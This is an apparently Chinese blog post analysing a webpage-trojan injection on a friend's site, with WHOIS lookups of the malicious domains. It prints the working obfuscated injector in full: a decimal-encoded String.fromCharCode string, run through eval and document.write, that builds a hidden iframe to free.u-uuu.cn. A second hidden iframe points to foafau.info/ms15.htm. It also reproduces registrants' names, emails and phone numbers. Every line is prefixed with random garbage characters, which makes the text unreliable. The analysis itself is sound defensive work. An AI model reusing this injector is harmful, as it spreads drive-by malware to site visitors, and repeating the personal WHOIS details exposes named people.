首发在我的博客里面，
1sJN^BvuG dNobvK http://www.areway.cn/?p=175 H-W) Tq_?- m0"\3@kB t;]egk 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
bM-Rj1#Lo s*f.` A*) <script>t=’60,105,102,114,97,109,101,
12 a # ]E 32,115,114,99,61,104,116,116,112,58,47,47,
ihWz/qx&q 102,114,101,101,46,117,45,117,117,117,46,99,
R'/ wOE2 110,47,101,114,114,111,114,46,104,116,109,
)8SP$ 32,119,105,100,116,104,61,49,48,48,32,104,
{+:XVT_+ 101,105,103,104,116,61,48,62,60,47,105,102,
&>{>k<z 114,97,109,101,62′;
sdWl5 " t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
ar|[D7Xrq\ \gkajY -? <script>t=’60,105,102,114,97,109,101,32,115,
dWy1=UQfP 114,99,61,104,116,116,112,58,47,47,102,114,
cZ >W8{G 101,101,46,117,45,117,117,117,46,99,110,47,
L'Zud,JKg 101,114,114,111,114,46,104,116,109,32,119,
bEKLameKv 105,100,116,104,61,49,48,48,32,104,101,105,
^j %UZ 103,104,116,61,48,62,60,47,105,102,114,97,
nS4S[|w" 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
q#`^EqtUF document.write(t);</script>
f zO8by -#6*T,f0P( <html xmlns=”
ArYF\7P http://www.w3.org/1999/xhtml ];;w/$zke “>
`1 @ [uWl <head>
DcA'{21 <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
!&lPdEc@T <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
njMy&$6a## <title>首页 - 爱生活家庭网
~ P_kr'o ]Qr8 wa>Z 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
;l ()3 ; 转换字符串后的大概内容是（谁点击后果自付）：
LDe VNVM <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
\T9UbkR \<B6> 查询玉米u-uuu.cn的详细信息：
WZ&@
J B Domain Name: u-uuu.cn
L@r.R_*H?s ROID: 20070901s10001s64972306-cn
VWy:U#;+8 Domain Status: ok
C4tl4 df9 Registrant Organization: 王雷
E{ s|# Registrant Name: 王雷
l|A8AuO*? Administrative Email:
czlovexs@126.com Mqp68% Sponsoring Registrar: 北京万网志成科技有限公司
x Ui!|c Name Server:ns.yovole.com
QJWES%m` Name Server:ns1.yovole.com
&o@5%Rz2/ Registration Date: 2007-09-01 17:54
k+$4?/A Expiration Date: 2008-09-01 17:54
8
-;ZPhN& 最后PING了一下地址 都没有什么….
3gy;$}Lq T N RSse" 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
}27Vh0v <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
Vor9
?F&w <script language=”javascript” src=”
"NH+qQhs http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script 7RE6y(V1 >
B:4qW[U# 这个玉米应该有可能是木马作者的：
J. 2]km foafau.info的详细信息：
ZHlin#" Access to INFO WHOIS information is provided to assist persons in
[V,
;X determining the contents of a domain name registration record in the
:s '"u] Afilias registry database. The data in this record is provided by
(B,t
1+% Afilias Limited for informational purposes only, and Afilias does not
KHz838C] guarantee its accuracy. This service is intended only for query-based
dY@Tt&k8E access. You agree that you will use this data only for lawful purposes
]wpYxos and that, under no circumstances will you use this data to: (a) allow,
}]+}Tipd enable, or otherwise support the transmission by e-mail, telephone, or
>5O y^u6Ly facsimile of mass unsolicited, commercial advertising or solicitations
Z'dI!8(Nf to entities other than the data recipient’s own existing customers; or
r/sRXM:3cZ (b) enable high volume, automated, electronic processes that send
Ko|xEz= queries or data to the systems of Registry Operator, a Registrar, or
E)wT+\ Afilias except as reasonably necessary to register domain names or
zl
0^EltiU modify existing registrations. All rights reserved. Afilias reserves
{mnSTL` the right to modify these terms at any time. By submitting this query,
dG>Wu o you agree to abide by this policy.
5qQ( V)ah Domain ID:D22418703-LRMS
\Ntdl:fS w Domain Name:FOAFAU.INFO
]#q7}Sd Created On:20-Nov-2007 16:05:42 UTC
)^S^s >3 Last Updated On:20-Nov-2007 16:05:44 UTC
u6I0<i_KZ Expiration Date:20-Nov-2008 16:05:42 UTC
:YXQ9/iRr Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
Qfu*F} Status:CLIENT DELETE PROHIBITED
ioa_AG6B Status:CLIENT RENEW PROHIBITED
< VR&= YJ Status:CLIENT TRANSFER PROHIBITED
h;UdwmT Status:CLIENT UPDATE PROHIBITED
gc7:Rb^E5t Status:TRANSFER PROHIBITED
Rn(F#tI Registrant ID:GODA-040110615
I+?$4SC Registrant Name:liu hong
2mU-LQ1 WN Registrant Organization:
Y_3YO 2K] Registrant Street1:beijing
k;AiG8jb Registrant Street2:
V'f5-E0 Registrant Street3:
n[:AV Registrant City:beijing
Q0uO49sg Registrant State/Province:
pD_eo6xX Registrant Postal Code:100000
m\ Fb , Registrant Country:CN
5`'au61/2 Registrant Phone:+86.860108888777
T{{AZV"pB Registrant Phone Ext.:
`) !2E6 = Registrant FAX:
+6)kX4 Registrant FAX Ext.:
9
roth Registrant Email:bbbshiji@163.com
j X!ftm2 Admin ID:GODA-240110615
7U
)qC}( Admin Name:liu hong
hPi
:31-0 Admin Organization:
0R 5^p Admin Street1:beijing
X`v 79`g_ Admin Street2:
FlA\Ad;v Admin Street3:
l)PFzIz=V Admin City:beijing
b,
**$ Admin State/Province:
CE7pg&dJ)i Admin Postal Code:100000
e9hVX[uq Admin Country:CN
`MYK XBM Admin Phone:+86.860108888777
`Y({#U Admin Phone Ext.:
HD8"=7zJk Admin FAX:
grfd vN Admin FAX Ext.:
KYmWfM3^ Admin Email:bbbshiji@163.com
aU]O$Pg{ Billing ID:GODA-340110615
p9 ,\ {Is Billing Name:liu hong
q,,>:]f# Billing Organization:
$s(4?^GP Billing Street1:beijing
t"bPKFRy9E Billing Street2:
b}*@=X=4o Billing Street3:
I1 R\Ts@ Billing City:beijing
@1SKgbt> Billing State/Province:
-f;j1bQ Billing Postal Code:100000
5nM9!A\D Billing Country:CN
sa gBmA~ Billing Phone:+86.860108888777
s ?;<F Billing Phone Ext.:
# pjyhH@ Billing FAX:
ic{.#R.BY Billing FAX Ext.:
&0
)xvZ Billing Email:bbbshiji@163.com
-G<2R"Q#N Tech ID:GODA-140110615
)av'u.]%c Tech Name:liu hong
IU'!?XVo Tech Organization:
N"
Jtg@w Tech Street1:beijing
iI@Gyq= Tech Street2:
-2jBs -z Tech Street3:
Zc\h15+P Tech City:beijing
0O['-x Tech State/Province:
vD)A) Tech Postal Code:100000
T.w}6? 2 Tech Country:CN
EBDC ' ^ Tech Phone:+86.860108888777
$7gB&T.x Tech Phone Ext.:
uM #U! Tech FAX:
J,0WQQnb Tech FAX Ext.:
gC_s\WU Tech Email:bbbshiji@163.com
6(q`Oj Name Server:NS27.DOMAINCONTROL.COM
X?v ^>mA Name Server:NS28.DOMAINCONTROL.COM
5)>ZO)F& Name Server:
&(uF&-PwO4 Name Server:
o )nT Name Server:
!Nxn[^[?. Name Server:
@F(3*5c_Y Name Server:
mp+\! Name Server:
?St r*XA; Name Server:
K'{W9~9Lq Name Server:
LnI{S{]wDh Name Server:
g"dZB2`C Name Server:
\l=KWa 3Q Name Server:
^~r&}l4c, qJFgbq4- 接着下载每个文件里面的代码：
<GT> s 一步一步看..
cxP9n8CuT 
mb~=Xyk& 
'^oGDlkr H 
ahi57r[ 
C@UJOB 
S `m- 5 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
